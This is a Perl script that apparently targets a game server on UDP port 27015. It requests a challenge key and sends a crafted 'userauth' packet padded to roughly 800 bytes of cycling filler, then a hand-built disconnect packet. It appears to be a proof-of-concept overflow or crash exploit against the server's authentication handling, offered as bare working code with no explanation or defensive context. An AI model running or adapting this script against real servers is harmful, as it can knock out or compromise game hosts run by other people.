#!/usr/bin/perl -w

use strict;
use IO::Socket;

my $addr = "my.server.com:27015";

my $server = IO::Socket::INET->new(Proto => 'udp',
                                   PeerAddr => $addr,
                                   Type => SOCK_DGRAM
                                   ) ||
    die "Failed to open server: $@\n";


#
# REQUEST KEY FROM SERVER
#

my $requestkey =
    "ff ff ff ff 71 30 30 30  30 30 30 30 30 30 30 30 30".
    "30 30 00";
$requestkey =~ s/\s+//g;
$requestkey = pack("H128", $requestkey);

my $reply;

$server->send($requestkey);
$server->recv($reply, 1024);


#
# GET KEY FROM REPLY
#

my $key = substr($reply, 5, 4);



# Construct userauth packet
# XX XX XX XX should be the location of the key
my $userauth =
    "ff ff ff ff 6b 07 00 00  00 03 00 00 00 XX XX XX ".
    "XX 63 33 36 30 71 74 6f  6f 6c 00 70 61 73 73 77 ".
    "6f 72 64 00 00 03";
$userauth =~ s/\s+//g;
$userauth = pack("H76", $userauth);
for (my $i = 0; length($userauth) <= 806; $i++) {
    if ($i == 256) {
        $i = 0;
            }
    $userauth .= chr($i);
}
# Replace XX XX XX XX part with real key
substr($userauth, 13, 4, $key);


#
# "JOIN" SERVER
#

$server->send($userauth);

#
# GET REPLY
# (this would tell if the server accepted me or not)
#

$server->recv($reply, 1024);


#
# DROP OUT, WOOO!
#

my $closeinfo =
    chr(0x2e).chr(0x02).chr(0x00).chr(0x00).chr(0x14).chr(0x03).chr(0x00).chr(0x00).chr(0x00).chr(0x0d).chr(0x81);


$server->send($closeinfo);